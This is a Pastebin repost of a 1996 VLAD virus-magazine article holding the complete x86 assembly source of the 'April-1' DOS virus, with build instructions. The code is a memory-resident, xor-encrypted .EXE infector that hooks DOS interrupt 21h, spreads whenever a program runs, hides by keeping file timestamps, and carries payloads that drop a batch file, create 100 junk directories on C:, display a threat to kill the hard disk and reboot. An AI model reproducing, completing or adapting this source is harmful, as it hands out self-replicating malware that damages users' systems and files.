Advertisement
FlyFar

VLAD Magazine - Issue AF - ARTICLE.4_7 - April-1 Virus

Jul 1st, 2023
1,886
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
6502 TASM/64TASS 8.42 KB | Cybersecurity | 0 0
  1. ;*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*
  2. ;
  3. ;                           A*P*R*I*L - 1
  4. ;                                by
  5. ;                         T o r N a d o / DC
  6. ;                              
  7. ;   Description:
  8. ;   ------------
  9. ;   -- Parasitic resident .EXE infector
  10. ;   -- Infects on 4bh (execute)
  11. ;   -- xor - encryption
  12. ;   -- dont infect win .exe
  13. ;   -- Saves original time / date
  14. ;
  15. ;   payload - 1: ( every time )
  16. ;       - 36h = get disk space ( DIR ), drop batch file ( april1st.bat )
  17. ;
  18. ;   payload - 2: when user change drive to A:\ and time is ( >= 55 min )
  19. ;       - draw green frame
  20. ;       - makes 100 directory's in C:\
  21. ;       - Write message to user
  22. ;       - Reboot
  23. ;
  24. ;   To compile:
  25. ;   -----------
  26. ;   Tasm april-1.asm
  27. ;   Tlink april-1.obj
  28. ;   Exe2bin april-1.exe april-1.com
  29. ;
  30. ;*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#**#*#*#*#*#*#*#*#*#*#*#*#*#*#**#*#*#*#*#**#*#*#*
  31.  
  32. april_1         segment
  33. assume  cs:april_1,ds:april_1,es:april_1
  34. org     00h
  35.  
  36. start:          call    delta
  37.  
  38. delta:          pop     bp
  39. sub     bp,offset delta
  40.  
  41. push    ds                  
  42. push    es
  43. push    cs
  44. pop     ds                  
  45.  
  46. call    xor_crypt
  47. jmp     short installation
  48.  
  49. ;============================= Payload - 1 ===================================
  50. april_1_batch   proc    near  
  51.  
  52. push    es bp ax bx cx si di ds dx
  53.  
  54. lea     dx,filename ; this creates our little signature!
  55. push    ds                      
  56. push    cs
  57. pop     ds
  58. mov     ah,3ch
  59. mov     cx,1        ; read-only!
  60. int     21h
  61. jc      no_drop
  62.  
  63. xchg    ax,bx
  64. mov     ah,40h
  65. mov     cx,(drop_end - drop_start)
  66. lea     dx,[bp + offset drop_start]
  67. int     21h
  68.  
  69. mov     ah,3eh  ; close drop file
  70. int     21h
  71.  
  72. no_drop:        pop     ds
  73. jmp     exit_virus
  74. endp
  75.  
  76. installation:   mov     ax,7474h
  77. int     21h
  78.  
  79. cmp     bx,'AF'                     ; AF returned in bx?
  80. je      error_resident              ; = assume resident
  81.  
  82. cut_memory:     mov     ah,4ah                      ; find top of memory
  83. mov     bx,0ffffh                   ; (65536)
  84. int     21h                          
  85.  
  86. sub     bx,(codeend-start+15)/16+1  ; resize enough para's
  87. mov     ah,4ah                      ; for virus
  88. int     21h
  89.  
  90. mov     ah,48h                      ; allocate for virus
  91. mov     bx,(codeend-start+15)/16
  92. int     21h
  93. jc      error_resident
  94.  
  95. dec     ax                          ; ax - 1 = mcb
  96. mov     es,ax
  97. mov     byte ptr es:[0],'Z'
  98. mov     word ptr es:[1],8           ; dos = mcb owner
  99. inc     ax
  100.  
  101. push    cs
  102. pop     ds
  103.  
  104. mov     es,ax
  105. xor     di,di
  106. mov     cx,(codeend-start+4)/2      ; vir len
  107. mov     si,bp
  108. rep     movsw
  109.  
  110. hook_int21h:    xor     ax,ax
  111. mov     ds,ax
  112. push    ds                            
  113.  
  114. lds     ax,ds:[21h*4]                                            
  115. mov     word ptr es:[oldint21h],ax  
  116. mov     word ptr es:[oldint21h+2],ds
  117. pop     ds
  118. mov     word ptr ds:[21h*4],offset virusint21
  119. mov     ds:[21h*4+2],es
  120.  
  121. error_resident: pop     es
  122. pop     ds
  123.  
  124. restore_EXE:    mov     ax,es
  125. add     ax,10h
  126. add     word ptr cs:[bp+csip+02h],ax
  127. cli
  128. mov     sp,word ptr cs:[bp+spss]
  129. add     ax,word ptr cs:[bp+spss+02h]
  130. mov     ss,ax
  131. sti
  132. db      0eah
  133. csip            dd      0fff00000h
  134. spss            dd      ?
  135.  
  136. virusint21      proc    near
  137.  
  138. cmp     ah,4bh            ; Execute!
  139. je      infect_file
  140.  
  141. cmp     ah,0eh            ; Change drive!
  142. je      april_dir
  143.  
  144. cmp     ah,36h            ; Get disk space!
  145. je      april_batch
  146.  
  147. cmp     ax,7474h          ; Check if resident
  148. jne     function21
  149. mov     bx,'AF'           ; April Fool :)
  150. endp
  151.  
  152. function21:     jmp     dword ptr cs:[oldint21h]
  153. ret
  154.  
  155. april_batch:    jmp     april_1_batch
  156.  
  157. april_dir:      jmp     april_dir_msg
  158.  
  159. jump_out:       jmp     close
  160.  
  161. infect_file     proc    near
  162.  
  163. push    es bp ax bx cx si di ds dx
  164.  
  165. mov     ax,3d02h                ;open file
  166. int     21h
  167. xchg    ax,bx
  168.  
  169. push    cs
  170. push    cs
  171. pop     ds
  172. pop     es
  173.  
  174. mov     ax,5700h           ;save and check time/date stamp
  175. int     21h
  176. push    dx
  177. push    cx
  178. and     cl,1fh
  179. xor     cl,1dh           ; secs = 29 !!!
  180. jne     read_bytes
  181. jmp     close
  182.  
  183. read_bytes:     mov     ah,3fh            ;read 26 bytes to header
  184. mov     cx,1ah
  185. mov     dx,offset header
  186. int     21h
  187.  
  188. cmp     byte ptr header[24],'@' ; windows .EXE file ?
  189. je      jump_out
  190.  
  191. cmp     byte ptr header,'M'     ; normal .EXE file ?
  192. je      exe_file
  193.  
  194. jmp     close                   ; if not jump out
  195.  
  196. exe_file:       mov     ax,4202h           ;goto end of file
  197. call    file_pointer
  198.  
  199. push    ax                  
  200. push    es
  201. pop     es
  202.  
  203. mov     di,offset csip      
  204. mov     si,offset header+14h
  205. mov     cx,2
  206. rep     movsw
  207. mov     si,offset header
  208. mov     cx,2
  209. rep     movsw
  210.  
  211. pop     ax                          ; restore ax and
  212. mov     cx,10h
  213. div     cx
  214. sub     ax,word ptr [header+8h]
  215. mov     word ptr [header+14h],dx    ; calculate CS:IP
  216. mov     word ptr [header+16h],ax
  217. add     ax,00h
  218. mov     word ptr [header+0eh],ax    ; SS:SP
  219. mov     word ptr [header+10h],00h
  220.  
  221. write_virus:    mov     ah,2ch         ;get random number from time
  222. int     21h
  223. mov     word ptr ds:[encrypt_val],dx  
  224. mov     ax,08d00h
  225. mov     es,ax
  226. mov     di,00h
  227. mov     si,di
  228. mov     cx,(codeend-start+1)/2
  229. rep     movsw
  230. push    es
  231. pop     ds
  232. xor     bp,bp
  233.  
  234. call    xor_crypt                  
  235.  
  236. mov     ah,40h                 ; write it to file
  237. mov     cx,(codeend-start)
  238. mov     dx,offset start
  239. int     21h
  240.  
  241. push    cs
  242. pop     ds
  243.  
  244. mov     ax,4202h               ; go to end of file
  245. call    file_pointer
  246.  
  247. mov     cx,512 ;recalculate new file length in 512-byte pages
  248. div     cx                
  249. inc     ax
  250. mov     word ptr [header+2],dx
  251. mov     word ptr [header+4],ax
  252.  
  253. mov     ax,4200h       ;go to beginning of file
  254. call    file_pointer
  255.  
  256. mov     cx,1ah         ;write 26 bytes to file
  257. mov     dx,offset header
  258. mov     ah,40h
  259. int     21h
  260.  
  261. close:          mov     ax,5701h       ;restore time/date and mark infected
  262. pop     cx
  263. pop     dx
  264. or      cl,00011101b
  265. and     cl,11111101b  ; secs = 29
  266. int     21h
  267.  
  268. mov     ah,3eh
  269. int     21h    
  270.  
  271. exit_virus:     pop     dx ds di si cx bx ax bp es
  272. jmp     function21
  273. endp
  274.  
  275. file_pointer:   xor     cx,cx
  276. cwd
  277. int     21h
  278. ret
  279.  
  280. ;============================= Payload - 2 ===================================
  281. april_dir_msg   proc    near
  282.  
  283. push    es bp ax bx cx si di ds dx
  284.  
  285. cmp     dl,0            ; check which drive ??
  286. je      floppy_time
  287. jmp     exit_virus
  288.  
  289. floppy_time:    mov     ah,2ch          ; get time ?
  290. int     21h
  291.  
  292. cmp     cl,55           ; minute >= 55 ?
  293. jge     continue
  294. jmp     exit_virus
  295.  
  296. continue:       mov     ax,3h           ; clear screen
  297. int     10h            
  298.  
  299. mov     ah,0bh          ; draw green frame!
  300. mov     bx,0eh      
  301. int     10h          
  302.  
  303. mov     ah,2h           ; set cursor position          
  304. mov     dh,10            
  305. mov     dl,14          
  306. int     10h            
  307.  
  308. mov     ah,1h           ; get rid of cursor
  309. mov     cursor,cx      
  310. mov     cx,2000h        
  311. int     10h            
  312.  
  313. mov     ah,9h           ; text string to write  
  314. push    cs
  315. pop     ds
  316. lea     dx,screen_msg
  317. int     21h
  318.  
  319. mov     cx,64h     ; make 100 DIR's
  320. create_dir:     push    cx  
  321.  
  322. mov     ah,39h              ; make SUB directory
  323. lea     dx,directoryname    
  324. int     21h
  325.        
  326. lea     si,directoryname+5h ; si = offset of last sign!
  327. inc     byte ptr [si]      
  328.  
  329. pop     cx                  
  330. loop    create_dir
  331.    
  332. db      0eah,0f0h,0ffh,0ffh,0ffh  ; Reboot!        
  333. endp
  334.  
  335. drop_start:
  336.  db      '@echo April Fool - 1996 - if u run this '
  337.  db      'batch file your HDD will burn!',00h
  338. drop_end:
  339.  
  340. filename        db      'april1st.bat',0
  341.  
  342. directoryname   db      'C:\9<IJKHLN',00h
  343.  
  344. screen_msg:     db      'April 1st.......i will now kill your HardDisk$'
  345.  
  346. encrypt_end:
  347.  
  348. oldint21h       dd      ?
  349. encrypt_val     dw      0
  350. cursor          dw      ?
  351. header          db      1ah dup(?)      ; store 26 bytes from file
  352.  
  353. logo            db "[ APRIL-1 (c) made by TorNado/[DC] in Denmark '96 ]"
  354.  
  355. xor_crypt:      mov     dx,word ptr ds:[bp+encrypt_val]
  356. lea     si,[bp+april_1_batch]
  357. mov     cx,(encrypt_end-april_1_batch)/2
  358.  
  359. xor_loop:       xor     word ptr ds:[si],dx         ;simple ordinary xor-loop
  360. inc     si                          ;encryption
  361. inc     si
  362. loop    xor_loop
  363. ret          
  364. codeend:
  365.  
  366. april_1         ends
  367. end             start
  368.  
  369.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement